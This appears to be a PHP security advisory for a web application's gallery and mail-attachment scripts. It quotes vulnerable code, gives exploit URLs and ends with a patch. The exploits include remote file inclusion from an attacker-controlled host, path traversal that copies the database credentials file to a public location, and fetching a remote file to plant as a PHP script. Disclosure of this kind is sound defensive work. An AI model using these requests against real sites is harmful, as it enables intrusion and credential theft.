PHP Code/Location :

include ("$basepath/imageFunctions.php");
include ("$adminpath/fileFunctions.php");
------------------------------------------


mailattach.php :

-----------------------------------------------------

<?
OpenTable();
 global $attachmentdir;

 $attchfile = $attachmentdir.$attach1_name;

  if(isset($submit) ) {
      if ($attach1_name != "") {
          copy("$attach1", $attchfile)
           or die("Couldn't copy the file!");
           echo "<script> attach();</script>";
      } else {
          die("No input file specified");
      }
      echo "<script> attach(); </script>";

-----------------------------------------------------


Exploits :
°°°°°°°°
- http://[target]/gallery/displayCategory.php?basepath=http://[attacker] will include the file :
http://[attacker]/imageFunctions.php

- http://[target]/gallery/displayCategory.php?adminpath=http://[attacker] will include the file :
http://[attacker]/fileFunctions.php

- http://[target]/mailattach.php?submit=1&attach1=admin/original/config.php&attach1_name=../DBInfos.txt will copy the file admin/original/config.php (with DB Informations) into http://[target]/DBInfos.txt .

- http://[target]/mailattach.php?submit=1&attach1=http://[attacker]/bad.txt&attach1_name=../bad.php will copy the file bad.txt into http://[target]/bad.php

- etc...


Solution :
°°°°°°°°°
A patch can be found on http://www.phpsecure.info.
In gallery/displayCategory.php, add before all lines the lines :
-------------------------------------------------------------------
if (isset($_REQUEST["basepath"]) OR isset($_REQUEST["adminpath"])){
die("Patched.");
}
-------------------------------------------------------------------

And in mailattach.php, add just after the lines :
-------------------------
[...]
<?
OpenTable();
  global $attachmentdir;
[...]
-------------------------

the lines :

-----------------------------------------------------------------------------------------------------------------------------------------------------------
if (isset($_REQUEST["attach1_type"]) OR isset($_REQUEST["attach1_name"]) OR ereg("/",$attach1) OR ereg("\.\.",$attach1) OR ereg(".php",$attach1_name) ){
  die("Patched.");
  }
-----------------------------------------------------------------------------------------------------------------------------------------------------------
